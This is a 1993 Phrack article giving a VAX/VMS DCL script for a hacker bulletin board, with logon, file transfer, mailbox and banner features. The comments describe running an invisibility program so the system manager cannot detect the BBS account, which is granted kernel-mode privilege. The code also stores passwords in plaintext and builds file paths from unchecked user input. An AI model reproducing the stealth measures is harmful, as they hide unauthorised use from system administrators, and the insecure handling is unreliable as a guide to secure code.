Title : DCL BBS PROGRAM
Author : Raoul
==Phrack Magazine==
Volume Five, Issue Forty-Five, File 16 of 28
****************************************************************************
DCL BBS PROGRAM
-------cut here-------cut here------cut here------cut here------cut here------
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ ! Well, this is just a little bbs program, a skeleton on wich u can work, !
$ ! add stuff, subroutines, and so on. !
$ ! I am SURE there are bugs, anyway the only I use to know 'till now is in !
$ ! the editor, where anything u write after a "!" will not be saved !
$ ! If sumbody wants to help/cooperate/exchange ideas about this program and/or!
$ ! any Dcl stuff/trick, just write at: !
$ ! SSGRR@pol88a.polito.it for internet e-mail !
$ ! (0) 22221122878::SSGRR for PSI MAIL !
$ ! Mbx RAOUL on Qsd chat system, x.25 nua (0) 208057040540 !
$ ! ANY kind of help and suggestion will be accepted ! !
$ ! ANY kind of cooperation with SERIOUS italian and/or european hackers, !
$ ! especially concerning x.25 networks, vax/vms, unix, cisco systems will be !
$ ! appreciated. !
$ ! !
$ ! Raoul / SferraNet Inc. for Phrack Magazine !
$ ! Many thanks to: Nobody. I usually work on my own. !
$ ! !
$ ! !
$ ! Remember to add the files the program requires, such as: !
$ ! INVI.EXE !
$ ! goodbye.txt !
$ ! files.txt !
$ ! etc..... !
$ ! And remember to create the subdirectories the program requires, AND to !
$ ! create a [bbs] directory, otherwise to rename [bbs] string, in this !
$ ! program, to a different name. !
$ ! !
$ ! I am sorry if program documentation is poor, but this program is mainly !
$ ! intended as a skeleton for future developments. !
$ ! I swear next time it will came up with a installation.com file :) !
$ ! !
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$! BBS PROGRAM RELEASE 2.0
$! ADDED CALL FUNCTION TO SPEED UP PROCESSES
$! LAST MODIFIED ON 15/10/1993 BY RAOUL/SFERRANET
$! BBS PROGRAM
$! Coded By Raoul/SferraNet
$!
$! Featuring:
$! Internal Mbx option
$! Kermit (Vms default) and Zmodem download protocols options
$! internal editor
$! password change option
$! logs of dtes, calls source etc
$! "post a banner" option
$ ! "BBS" account requires:
$ ! Privileges: NETMBX, TMPMBX, CMKRNL
$ ! Defprivileges: NETMBX, TMPMBX, CMKRNL
$ ! Flags: disnewmail, disctly, restricted
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ !This next 3 lines put away error messages ( remove it when testing the
$ !program, so that you will be able to see wich errors you are getting
$ set messa /nofac
$ set messa /notext
$ set messa /nosev
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ ! Defines CLS
$ ESC[0,8] = 27
$ CLC == ESC+"[H"+ESC+"[J"
$ cls := "write sys$output CLC"
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$!define user's terminal
$ ! here we check what kind of terminal user has, knowing that for Vms
$ ! a good graphic mode will be from VT100 on, using this list:
$ ! unknown = 0
$ ! VT52 = 64
$ ! VT100 = 96
$ ! VT101 = 97
$ ! VT102 = 98
$ ! VT105 = 99
$ ! VT125 = 100
$ ! VT200 = 110
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ cls
$ write sys$output " Checking Terminal Type....Please Wait...."
$ set terminal /inquire
$ ttype = f$getdvi("SYS$COMMAND", "DEVTYPE")
$ if ttype .ge. 96
$ then
$ vt100_flag = 1
$ else
$ vt100_flag = 0
$ endif
$!
$ if vt100_flag .eq. 1
$ then
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$! This is a list of escape sequences definitions
$ reverse == ESC+"[7m" ! turns on inverse video attribute
$ blink == ESC+"[5m" ! turns on blinking attribute
$ blankfromtop == ESC+"[1J" ! blanks screen from top to cursor
$ blankline == ESC+"[2K" ! blanks current line
$ blankendline == ESC+"[0K" ! blanks from cursor to end of line
$ normal == ESC+"[0m" ! Resets to normal video attribute
$ bold == ESC+"[1m" ! turns on Bold attribute
$ underline == ESC+"[4m" ! turns on underline attribute
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ write sys$output reverse
$ write sys$output blink
$ write sys$output " Your Terminal Is DEC-VTxxx Series Compatible ! "
$ write sys$output " This Will Help You To Get even MORE&MORE From This Bbs ! "
$ write sys$output normal
$ wait 0:00:03
$ else
$ write sys$output " Sorry, Your Terminal Isn't DEC-VTxxx Series Compatible "
$ write sys$output " "
$ write sys$output " Try to Get a Better Emulation Next Time Dude!!! "
$ wait 0:00:05
$ cls
$ endif
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$! USER.COM VERSION 1.0 BETA
$ on error then goto nouser
$ on severe_error then goto nouser
$ in := "inquire /nopunctuation"
$ out := "write sys$output"
$ user:
$ cls
$ out " "
$ out " ** Sferra Bbs Logon ** (C) 1993 Raoul / SferraNet Inc. "
$ out " "
$ in usr "Username: "
$ if usr .eqs. "" then goto user
$ if usr .eqs. " " then goto user
$ open /read mailfile [bbs]'usr'.mail /error=nouser
$ set term/noecho
$ in pass "Password: "
$ set term/echo
$ read mailfile pw
$ close mailfile
$ if pw .eqs. pass then goto bbs
$ out " "
$ out "Wrong Password."
$ wrong:
$ out " "
$ in test "Retry or Login as a New User ? (R/N) "
$ if test .eqs. "N" then goto newusr
$ cls
$ goto user
$ goto bbs
$ nouser:
$ out " "
$ out " User ''usr' Not Found In Users File "
$ out " "
$ wait 0:00:02
$ goto wrong
$!% author Raoul/SferraNet
$!% language DCL
$! Bbs program for Vax/Vms
$!
$ bbs:
$ cls
$ type [bbs]welcome.txt
$ wait 00:00:04
$ user == usr
$ tt == f$getdvi("TT","DEVNAM")!-"-"
$! l1 == f$locate(":",TT)
$! l1 == l1 -1
$ device == tt
$ start == f$cvtime(,,"time")
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ ! Here we show user bbs in full mode, to get his/her dte, inet address or
$ ! Decnet node, and put it in a file, then we run invisible.exe to
$ ! make the user "BBS" invisible
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ sh u bbs /f /out=[bbs]'user'.dte
$ open/append output_file [bbs]users.dat
$ write output_file "Bbs Users Log on: ",F$time()
$ write output_file "User: ''user' connected on ''device' at ''start'"
$ close output_file
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$! Here we run INVI.EXE, to get invisible at a sh users command, and to avoid
$! System Manager to detect the bbs user
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ run [bbs]invi.exe;1
$ errcheck:
$ on control_p then goto mainmenu
$ on control_y then goto mainmenu
$ on control_t then goto mainmenu
$ on control_c then goto mainmenu
$ on error then goto mainmenu
$ on severe_error then goto mainmenu
$ on warning then goto mainmenu
$ write sys$output " "
$ out reverse
$ write sys$output " Welcome To <BBS NAME> "
$ out normal
$ write sys$output " "
$ out blink
$ write sys$output " Running on a Vax/Vms <VMS VERSION>"
$ out normal
$ write sys$output " "
$ out reverse
$ write sys$output " You are connected on line ''device' at ''start' "
$ out normal
$ write sys$output " "
$ out blink
$ write sys$output " Please Wait... "
$ out normal
$ wait 0:00:05
$ cls
$ write sys$output " User ''user' connected on ''device' at ''start' "
$ write sys$output " "
$ out reverse
$ write sys$output " PLEASE POST ME A MESSAGE "
$ out normal
$ write sys$output " "
$ write sys$output " IF U FIND ANY BUGS OR HAVE ANY SUGGESTION"
$ wait 0:00:02
$ cls
$ write sys$output " "
$ write sys$output " *** Banner Message *** Read it or Die ! *** "
$ write sys$output " "
$ type [bbs]banner.txt
$ write sys$output " "
$ inquire /nopunct banner "Press [ENTER] To Continue..."
$ mainmenu:
$ cls
$ write sys$output " "
$ write sys$output " HackTown Bbs "
$ write sys$output " "
$ write sys$output " Main Menu "
$ write sys$output " "
$ write sys$output " "
$ write sys$output " "
$ write sys$output " "
$ write sys$output " [F] Files Area "
$ write sys$output " [M] Mailboxes Area "
$ write sys$output " [I] Informations About This System "
$ write sys$output " [B] Leave a Banner
$ write sys$output " [U] List Users "
$ write sys$output " [P] Post a Message To SysOp "
$ write sys$output " [L] Logout "
$ write sys$output " "
$ write sys$output " "
$ inquire topmenu "(F,M,I,B,P,L)==>"
$ if topmenu .eqs. "L" then goto L
$ if topmenu .eqs. "F" then goto F
$ if topmenu .eqs. "I" then goto I
$ if topmenu .eqs. "P" then goto P
$ if topmenu .eqs. "M" then goto M
$ if topmenu .eqs. "U" then goto U
$ if topmenu .eqs. "B" then goto B
$ if topmenu .eqs. "" then goto mainmenu
$ if topmenu .eqs. " " then goto mainmenu
$ goto mainmenu
$! Banner Message
$ B:
$ cls
$ write sys$output " Editing Banner! End With a Dot (.) "
$ write sys$output " Notice: Pirating or Incorrects Messages Will Be "
$ write sys$output " Accepted...Don't Be Clean! ;) "
$ write sys$output "
$ del [bbs]banner.txt;* /nolog
$ open/write banner_file [bbs]banner.txt
$ write banner_file " Banner Message From user ''usr' Posted at ''start' "
$ write banner_file " "
$ write banner_file "***********************************************************"
$ line=1
$ more:
$ inquire /nopunctu text "''line': "
$ if text .eqs. "." then goto endbanner
$ write banner_file text
$ line=line+1
$ goto more
$ write banner_file "***********************************************************"
$ close banner_file
$ write sys$output " "
$ write sys$output " Banner Saved! "
$ wait 0:00:02
$ goto mainmenu
$!
$ U:
$ cls
$ type [bbs]users.lis
$ write sys$output " "
$ write sys$output " "
$ inquire /nopunctuation komodo " Press [ENTER] To Continue..."
$ goto mainmenu
$!
$ L:
$ goto bbsbye
$ logout/full
$!
$!
$! option F
$!
$ F:
$ write sys$output " "
$ write sys$output " "
$ cls
$ write sys$output " "
$ write sys$output " Files Menu "
$ write sys$output " "
$ write sys$output " [1] List files "
$ write sys$output " [2] Type a file "
$ write sys$output " [3] Download a file "
$ write sys$output " [4] Upload a file "
$ write sys$output " [5] Go back to main menu "
$ inquire files "(1,2,3,4,5)==>"
$ if files .eqs. "1" then goto 1
$ if files .eqs. "2" then goto 2
$ if files .eqs. "3" then goto 3
$ if files .eqs. "4" then goto 4
$ if files .eqs. "5" then goto 5
$ if files .eqs. "" then goto F
$ if files .eqs. " " then goto F
$ goto F
$!
$ 1:
$ goto fileslist
$ inquire/nopunct tasto "Press [ENTER] to continue..."
$ goto F
$!
$ 2:
$ write sys$output "U can't type files such as .ZIP .EXE .ARJ etc..."
$ inquire file "File to type ? "
$ if file .eqs. "" then goto f
$ if file .eqs " " then goto f
$ if file .eqs. "login.com" then goto F
$ inquire page "do you want the file to be typed with or without page pause ? (A/B) "
$ cls
$ if page .eqs "a" then goto nopage
$ if page .eqs. "b" then goto page
$ goto 2
$ page:
$ type [bbs]'file' /nopage
$ inquire/nopunct tasto "Press [ENTER] to continue..."
$ cls
$ goto F
$!
$ nopage:
$ type [bbs]'file' /page
$ inquire/nopunct tasto " Press [ENTER] to continue..."
$ cls
$ goto F
$!
$ 3:
$ cls
$ write sys$output " "
$ inquire dl "File to download ? "
$ inquire protocol "Protocol ? (Z=Zmodem, K=Kermit) "
$ if protocol .eqs. "z" then goto zmodem
$ if protocol .eqs. "k" then goto kermit
$ goto F
$ kermit:
$ if dl .eqs. "" then goto F
$ if dl .eqs. "login.com" then goto F
$ if dl .eqs. "bbs.com" then goto F
$ mcr kermit send [bbs.files]'dl'
$ exit
$ goto F
$!
$ zmodem:
$ !!!!! Put here your zmodem program download string, etc
$!
$ goto F
$!
$ 4:
$ cls
$ write sys$output " "
$ out blink
$ write sys$output " Thanks for your upload! "
$ out normal
$ out reverse
$ write sys$output " Default transfer protocol is Kermit "
$ out normal
$ inquire ul "File to upload ? "
$ if ul .eqs. "" then goto F
$ if ul .eqs. "login.com" then goto F
$ if ul .eqs. "bbs.com" then goto F
$ mcr kermit rec [bbs.files]'ul'
$ exit
$ open/append [bbs.files]files.txt
$ write [bbs.files]files.txt "File ''ul' sent by ''user' at ''start' on ''device' "
$ close [bbs.files]files.txt
$ inquire desc " Please type a short description for your file "
$ open/append [bbs.files]files.txt
$ write 'desc'' [bbs.files]files.txt
$ write [bbs.files]files.txt "----------------------------------------------------------------------"
$ close [bbs.files]files.txt
$ goto F
$!
$ 5:
$ goto mainmenu
$!
$ M:
$ cls
$ write sys$output " MailBox Menu "
$ write sys$output " "
$ write sys$output " "
$ write sys$output " [S] Send a Message "
$ write sys$output " [R] Read Messages in Your Mailbox "
$ write sys$output " [C] Clear Your Mailbox "
$ write sys$output " [D] Delete Your Mailbox "
$ write sys$output " [M] Go Back To Main Menu "
$ write sys$output " "
$ write sys$output " "
$ inquire mailmenu " (S,R,C,D,M)==> "
$ if mailmenu .eqs. "S" then goto smail
$ if mailmenu .eqs. "R" then goto rmail
$ if mailmenu .eqs. "C" then goto cmbx
$ if mailmenu .eqs. "D" then goto delmail
$ if mailmenu .eqs. "M" then goto mainmenu
$ if mailmenu .eqs. "" then goto M
$ goto M
$!
$!
$ delmail:
$ write sys$output " W A R N I N G ! ! ! "
$ write sys$output " "
$ write sys$output " Deleting Your Personal Mailbox "
$ write sys$output " Will Remove You From The Users File "
$ write sys$output " "
$ inquire del "Do You Want To Delete Your Mailbox ? (Y/N) "
$ if del .eqs. "Y" then goto mbxdely
$ if del .eqs. "N" then goto mbxdeln
$ goto M
$!
$ mbxdely:
$ goto dmbx
$ goto M
$!
$ mbxdeln:
$ cls
$ write sys$output " "
$ write sys$output " Mailbox not Deleted "
$ wait 0:00:02
$ goto M
$!
$ I:
$ cls
$ write sys$output " We're sorry if this system isn't 100% working fine. "
$ write sys$output " We keep on to work at it. If you find bugs and/or errors, "
$ write sys$output " please send me an URGENT mail (P option at Main Menu) "
$ write sys$output " Thanks."
$ write sys$output " "
$ write sys$output " Bbs Staff "
$ wait 0:00:03
$ goto mainmenu
$!
$P:
$ cls
$ write sys$output " "
$ define/user_mode sys$input sys$command
$ mail sys$command <YOUR ACCOUNT> !!!!!!!<-- your VMS account, where you can
$! receive regular vms mail via the vms mail utility
$ goto mainmenu
$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ newusr:
$!
$! NEWUSR.COM VERSION 1.0 BETA
$!
$ on warning then goto ok
$ on control_y then goto ok
$ on error then goto ok
$ on severe_error then goto ok
$ set on
$ in :== "inquire /nopunctuation"
$ out :== "write sys$output"
$!
$ cls
$ write sys$output " "
$ out blink
$ out " Welcome New User ! "
$ out normal
$ out " "
$ out " "
$!
$ in usr "Username: "
$ open /read mailfile [bbs]'usr'.mail /error=ok
$ out " "
$ out "This Username already Exists."
$ out " "
$ wait 0:00:02
$ exit
$ ok:
$ set term/noecho
$ in pass "Password: "
$ set term/echo
$ open /write mailfile [bbs]'usr'.mail
$ write [bbs]mailfile pass
$ close [bbs]mailfile
$ out " "
$ out "User ''usr' Added To Users File."
$ out " "
$ wait 0:00:02
$ exit
$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ ! bsbbye, displays a ascii file and logs user out of the system
$ bbsbye:
$ cls
$ type [bbs]goodbye.txt /nopage
$ FINISH = F$CVTIME(,,"TIME")
$ WRITE SYS$OUTPUT " "
$ WRITE SYS$OUTPUT " "
$ WRITE SYS$OUTPUT " "
$ WRITE SYS$OUTPUT " "
$ WRITE SYS$OUTPUT " "
$ WRITE SYS$OUTPUT " "
$ WRITE SYS$OUTPUT " "
$ WRITE SYS$OUTPUT " S F E R R A B B S ( C ) 1 9 9 3 "
$ WRITE SYS$OUTPUT " "
$ WRITE SYS$OUTPUT " L O G O U T "
$ WRITE SYS$OUTPUT " "
$ WRITE SYS$OUTPUT " "
$ WRITE SYS$OUTPUT " "
$ WRITE SYS$OUTPUT " C A L L B A C K S O O N ! ! !"
$ write sys$output " "
$ write sys$output " "
$ write sys$output " "
$ write sys$output " "
$ write sys$output " "
$ open/append output_file [bbs]users.dat
$ write output_file "User: ''user' disconnected from ''device' on ''finish'"
$ write output_file "-----------------------------------------------------"
$ close output_file
$ exit
$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ smail:
$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$! SENDMAIL.COM VERSION 1.0 BETA
$!
$!
$!
$ on error then goto nouser
$ on severe_error then goto nouser
$ in :== "inquire /nopunctuation"
$ out :== "write sys$output"
$!
$ cls
$ out " Write Your Message Below. End With a Dot (.) "
$!
$ pass=""
$ in usr "From : "
$ open /read checkpw [bbs]'usr'.mail /error=wronguspw
$ set term/noecho
$ in pw "Password: "
$ set term/echo
$ read checkpw pass
$ if pass .nes. pw then goto wronguspw
$ if pass .nes. "" then close checkpw
$ in dest "To : "
$ open /append mailfile [bbs]'dest'.mail /error=nouser
$ in obj "Object: "
$ write mailfile "From : ",usr
$ write mailfile "To : ",dest
$ write mailfile "Object : ",obj
$ write mailfile " "
$ write mailfile "Text :"
$ write mailfile " "
$ line=2
$ previous:
$ line=line-1
$ if line .eq. 0 then line=1
$ again:
$ in text "''line': "
$ if text .eqs. "c" then goto previous
$ if text .eqs. "." then goto endinput
$ write mailfile text
$ line=line+1
$ goto again
$ endinput:
$ write mailfile "------"
$ close mailfile
$ out " "
$ out "Mail Sent."
$ wait 0:00:02
$ exit
$ nouser:
$ out "The user does not exists, please check the name."
$ out " "
$ wait 0:00:02
$ exit
$ wronguspw:
$ out " "
$ out "You have entered a wrong Username/Password."
$ out " "
$ wait 0:00:02
$ if pass .nes. "" then close checkpw
$ exit
$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ rmail:
$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$!
$!
$! READMAIL.COM VERSION 1.0 BETA
$!
$!
$!
$ on error then goto finished
$ on severe_error then goto finished
$ in :== "inquire /nopunctuation"
$ out :== "write sys$output"
$!
$!
$ out " "
$ in usr "Username: "
$ set term/noecho
$ in pass "Password: "
$ set term/echo
$ open /read mailfile [bbs]'usr'.mail /error=wronguspw
$ mails=0
$ read mailfile pw
$ if pw .nes. pass then goto wronguspw
$ again:
$ read mailfile text /end=finished
$ if text .eqs. "------" then gosub pause
$ out text
$ goto again
$ finished:
$ close mailfile
$ if mails .eq. 0 then goto nomails
$ out " "
$ out "End of Mails."
$ wait 0:00:02
$ exit
$ nomails:
$ out "You have no mails."
$ out " "
$ wait 0:00:02
$ exit
$ pause:
$ out " "
$ in more "Press any key to read next mail, press X to exit."
$ if more .eqs. "X" then goto exitmail
$ text=CLC
$ mails=mails+1
$ return
$ wronguspw:
$ out " "
$ out "You have entered a wrong Username/Password."
$ out " "
$ close mailfile
$ exit
$ exitmail:
$ close mailfile
$ exit
$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ cmbx:
$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$!
$! CLEARMAIL.COM VERSION 1.0 BETA
$!
$!
$!
$ on error then goto mistake
$ on severe_error then goto mistake
$ in :== "inquire /nopunctuation"
$ out :== "write sys$output"
$!
$ cls
$!
$ pass=""
$ in usr "Username: "
$ open /read mailfile [bbs]'usr'.mail /error=wronguspw
$ set term/noecho
$ in pass "Password: "
$ set term/echo
$ mails=0
$ read mailfile pw
$ if pw .nes. pass then goto wronguspw
$ close mailfile
$ open /write newfile [bbs]usr.tmp /error=wronguspw
$ write newfile pw
$ close newfile
$ delete [bbs]'usr'.mail;*
$ rename [bbs]usr.tmp [bbs]'usr'.mail /nolog
$ cls
$ out " "
$ out "Mailbox Cleared."
$ wait 0:00:02
$ exit
$ mistake:
$ cls
$ out " "
$ out "An error has occurred, contact Sysop."
$ out " "
$ exit
$ wronguspw:
$ cls
$ out " "
$ out "You have entered a wrong Username/Password."
$ out " "
$ wait 0:00:02
$ if pass .nes. "" then close mailfile
$ exit
$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ Dmbx:
$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$!
$! DELETEMBX.COM VERSION 1.0 BETA
$!
$!
$!
$ on error then goto nouser
$ on severe_error then goto nouser
$ in :== "inquire /nopunctuation"
$ out :== "write sys$output"
$ out " "
$!
$!
$ in usr "Username: "
$ open /read mailfile [bbs]'usr'.mail /error=nouser
$ set term/noecho
$ in pass "Password: "
$ set term/echo
$ read mailfile pw
$ close mailfile
$ if pw .eqs. pass then goto deleteit
$ out " "
$ out "Wrong Password."
$ wait 0:00:02
$ exit
$ deleteit:
$ delete [bbs]'usr'.mail;* /nolog
$ out " "
$ out "Mailbox Deleted."
$ out " "
$ wait 0:00:02
$ exit
$ nouser:
$ out " "
$ out "This Mailbox doesn't exists!"
$ out " "
$ wait 0:00:02
$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ fileslist
$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$ fileslist: subroutine
$ cls
$ type [bbs.files]files.txt
$ write sys$output " "
$ exit